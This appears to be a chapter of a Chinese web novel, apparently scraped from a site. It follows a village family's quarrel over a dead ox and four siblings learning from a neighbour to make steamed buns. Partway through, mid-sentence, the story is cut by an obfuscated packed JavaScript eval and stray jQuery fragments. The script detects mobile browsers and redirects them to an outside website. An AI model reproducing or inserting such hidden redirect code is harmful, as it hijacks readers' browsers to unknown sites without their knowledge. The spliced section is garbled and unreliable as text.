看热闹的人一哄而散，何亮等人也趁机扔下死牛跑了。


    院门和大门紧闭。


    堂屋里，秦高中脸色难看，“非要在这时候闹事？为了只牛成了全村人的笑话，这样让我怎敢将同窗带回来？”


    才弱冠的青年继承了父母外貌上的优点，仪表堂堂。虽说没穿绫罗绸缎，可用的也是上好的细布，甚至腰间还挂了玉佩，与梨花村，与这个家的人格格不入。


    与光彩照人的他相比，秦大壮这对老夫妇简直堪称灰扑扑。


    赵氏最疼这个长孙，平时也怕极了他生气，连忙小声将事情解释一遍，又说，“那只牛值十两银子哩，事发时不追究，日后就算告到县衙，咱们也说不清……”


    “为了十两银子还要告到县衙？”秦高中恼怒，只觉得祖母钻钱眼里去了，一点都不体面，嗓门不自觉大起来，与同窗们交流时的温文尔雅判若两人，“你们还嫌不够丢脸？”


    赵氏张张嘴，望向长孙，表情无措甚至有些迷茫。


    她不理解，十两很少吗？乡下人家，一年能攒一两银子的都不多。自分家后，他们家地少了，能干活的劳力少了，她和丈夫拼了命的干，才勉强让长孙读书的同时还能与友人同窗交际。


    “咳咳！”


    说不清的寒意袭上心头，赵氏忽然咳起来，脸色跟着有些灰败。


    原本一声不吭的秦大壮拍了拍老妻的背，语气生道，“这次的事你奶没做错。只是这会那个何亮跑了，得想办法追回损失。”


    秦高中皱眉，他难道没表达清楚自己的意思？


    “爷，现在可是……”


    “高中！”


    秦登科忽的拔高音量，制止儿子继续说下去。再吵下去，会被邻里听见，对儿子的名声不利。他儿子可以在家里当小霸王，出了门必须装孝顺。


    “这次是我识人不清，”秦登科只字不提自己之前如何信誓旦旦的保证何亮的人品，也不提自己喝酒时吹牛，“不过事情已经发生，咱们家不能无端损失了牛，同样，也不能影响高中府试，和他在同窗之间的名声。”


    他给出解决办法，“我私下再去何亮家，找他要些赔偿。十两不肯给，七八两总该给吧？至于这牛，按照意外死亡报到县衙，转头卖给肉铺。私下许多酒楼和富贵人家肯定抢着要。”


    孙氏刚刚被震怒的儿子吓到，这会也帮腔。


    “是呢，牛肉价贵，能卖不少，加上赔偿，肯定远超十两，到时咱们再买一只，不耽误农耕。”


    她心里门清，她和丈夫平时都不怎么干活，儿子读书还需靠公公婆婆供养。心里可以瞧不起两人，可事关儿子的利益，装也要装一下。她丈夫不就是靠嘴甜，哪怕不干活，也哄得两人吃最多的苦也乐呵呵么？


    夫妻俩配合起来，很快哄得赵氏去厨房生火做饭。


    “登科，你跟我去县衙，再找几人帮忙抬着牛。”


    “爹，也不急吧？”


    秦大壮不看儿子，“接下来农忙，我没工夫处理这事。”


    “交给我就行了，爹，你不用理会这件事。”


    秦大壮不吭声，但也没和往日那样，一言不发去厨房帮忙。


    秦登科心里‘咯噔’了下，爹在这事上不信任他了？当了四十来年的父子，他太清楚秦大壮是个多么固执的人了。固执到就算他没考到秀才，也认定老大家会有出息，又是给他找了个秀才女儿当媳妇，又是继续供他儿子读书。


    他就是凭借这份倔享了这么多年的福，自然也知，秦大壮一旦决定了的事，就不会改。


    “好，我这就去喊人，吃完饭咱们就去城里。”


    又安慰第一次被爷奶晾在一旁的儿子，“放心，别人家的耕牛出事也是走这个流程，与官司无关。我认得你那些同窗，去县衙时也会避开他们。”


    秦高中表情这才好了些，又看了眼不再吭声的爷爷，心里更是认定一件事。


    他板着脸回到房间。


    过了会，这位即将参加府试的书生怒气冲冲的走到院子里。


    “是不是你翻了我房间里的东西？”


    之前吵架时缩在一旁，这会出来喂鸡的秦来娣手足无措。


    “我、我没翻，我只是进去打扫了下。”


    “谁让你打扫的？天天打扫也不嫌烦？”


    秦来娣白着脸，手指握在一起，“娘让我打扫的，她说城里许多读书人都有侍女帮忙打扫。”


    “你是侍女么？”秦高中冷着脸，“以后别进我房间，我会和娘说。”


    秦来娣垂着头应了，等脚步声远去，她才重新蹲下，将菜叶撕碎扔给家里养的鸡鸭。


    过了一会，她才用干净的手背抹了抹眼角。


    又是这样，从来不喊她的名字。


    她的确不是侍女。


    她连侍女都不如。


    侍女干活能拿酬劳，她干再多的活，连颗鸡蛋都吃不到。


    因为每个人都吃了一颗水煮蛋填填肚，又多了四个大包子，秦高瞰淘米时没蒸那么多饭。


    过了会，米饭的香味和白面、酱菜、猪肉的香味传来。


    “我宣布，”秦高琼擦了擦唇角，“这是世上最好的味道！”


    “没错，”秦高瑜开始流口水，“美味！”


    “咱们先吃包子吧。”


    秦高瞻也馋得不行，而且他是忍了最久的那个，眼看包子从热到冷又到热。


    这份期待增加了包子的美味。


    他吃肉馅的觉得好吃得不行，吃酱菜的也觉得很好，甚至各吃完半个，还意犹未尽。


    再看几个弟弟妹妹，不约而同的选择舔手指。


    “包子真好吃啊。”


    “要是能天天吃包子，那该多幸福啊！”


    秦高瞻指着买回来的白面，“等我们学会做包子，就能经常吃了。”


    一息后，他老实承认，“可能会失败个一二三四次才学会。”


    想到白面的价格，秦高瞰就失去了做实验的勇气。


    唯独秦高琼兴致勃勃，“我们不会，可我们能向会的人请教啊！”


    “王大娘。”秦高瑜冷不丁蹦出一个词。


    “王大娘？”


    秦高瞻其实不算很了解这个邻居。


    以前的交集差不多是见面会打招呼，互相通知村长的话。


    最近一次让他印象深刻的交集，是原身生病时。


    秦高瞰将田卖给隔壁村的何富户，又急忙去县里请大夫，结果时辰太晚城门关了，人和大夫都没能出城。


    那时原身病得神志不清，秦高琼一边照顾哥哥妹妹，一边又担心二哥出事。


    隔壁的王大娘听到哭声过来敲门，了解情况后，回家让男人去打听消息，自己陪了这对姐妹一晚上。


    身为成年人，她不仅能给这对姐妹带来安全感，也能让村里一些懒汉打消不好的念头。


    后来秦高瞰带着大夫给大哥看完病后，还特地捡了几颗鸡蛋拿了些粗粮去道谢，王大娘没收。


    就秦高瞻所知，这对夫妻是年轻时搬来村里，积蓄不多买的水田少，后来陆续在荒坡开垦了些土地，只育有一女，早些年嫁到隔壁县，逢年过节才过来。


    “没错，”在他梳理记忆时，秦高琼已经积极响应妹妹，“就是王大娘，我听王大娘说过，她以前的一个邻居会做包子，她学会了，只是现在买不起白面。”


    “那傍晚去和王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802563|174491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大娘请教。”


    秦高瞻也乐得节省实验的时间。


    干了一下午的活，转眼就到了要吃晚饭的时辰。


    秦高琼扔下锄头就去了隔壁，很快将王大娘请来。


    王大娘进了厨房，不多看，也不多问他们家哪来的钱买白面和猪肉，将手洗得干干净净后问，“我会两种发面的法子，一种用老面，不过制作老面需要两三日。制好后，日后想蒸包子，就取一些老面和白面混合，随取随用。另一种是烫面，现做现吃，包素馅最好，荤馅也行，可能没素馅那么合适。你们想用哪种？”


    “才不做选择，全都要。”秦高琼下意识道，过了息后知后觉捂着嘴，无辜的大眼睛盯着王大娘看。


    王大娘慈善的笑了笑，“那我先给你们做点老面，再做用烫面的法子做包子。”


    “大娘你真好！”


    “你是世上最好的大娘。”秦高瑜咧着嘴笑。


    “哎哟，阿瑜这张嘴比糖都甜。”王大娘都哄得眉开眼笑。


    秦高瞻有些心虚，小妹夸奖人的句式好耳熟。


    他默默去烧火烧水，秦高瞰更是默默切菜剁肉。


    老面好做，将面粉和温水混合成团，放在温暖的地方发酵几日就行。


    这会热水也快开了，取还没烧开但很烫的热水缓慢倒入白面里搅拌，揉至光滑。


    “烫面的话不需要等，现在就能擀皮包包子。”


    擀好皮，王大娘取了一块开始教学。


    “用烫面这种法子，中间的皮要厚些，否则蒸的时候容易露馅。”


    四兄妹齐刷刷点头。


    过了会，秦高瑜举起掌心的包子，乐呵呵，“露馅了。”


    秦高瞰赶紧拿过来，将自己包好的那个放上去。


    “馅儿藏起来了。”


    秦高瑜用小手指轻轻戳戳，发现出现一个小坑后，连忙踮起脚尖，放进蒸笼里。


    五人齐心合力，很快包了许多素馅和猪肉馅的包子，决定分两批蒸。


    一刻钟后，第一笼出锅了。


    “大家都来尝尝。”


    秦高瞻夹了个猪肉馅的，放到碗里，递给王大娘后，这才一一给弟弟妹妹夹。


    才出锅的包子热腾腾、香喷喷，吹几下，咬一口，带着浓浓肉香的汁水便流出来。


    秦高琼斯哈斯哈吃着，还不忘朝王大娘竖起大拇指，“大娘，你做的比包子铺卖的好好吃。”


    “世上最好吃。”秦高瑜赞同的点头，吃得太开心了，又没忍住跺跺脚。


    “大娘，您的手艺是真好。”


    秦高瞻也觉得手里的包子好吃。


    “你们这些孩子，惯会哄人开心的。”


    王大娘笑得脸上的皱纹都舒展开了，“白面和猪肉做的，能不好吃？”


    等一个吃完，秦高瞻拿了个盘子，从蒸笼里夹出六个递给王大娘。


    “辛苦大娘了，这些带回去和叔一起吃吧。”


    “使不得，这也太多了。”


    王大娘一眼瞧出，这里边有四个荤的。


    “我就是随手帮个忙，给我一个，让你叔也尝尝就行。”


    “还得算上教学呢，”秦高瞻拎得清，换做别人，未必肯教，也未必教得这么用心，还不嫌他们几个小孩烦，“您看夫子教学生要收束脩，您怎么就不能收？”


    “那能一样么，夫子教的是学问，我这算什么。”


    “民以食为天，吃最重要。”


    秦高瞻的表情和语气都很认真，几个弟弟妹妹又附和，王大娘还是接了，过了会过来还盘子，还给了把蔬菜。


    这天晚上，四兄妹吃包子吃得心满意足，还留了几个第二日当早饭。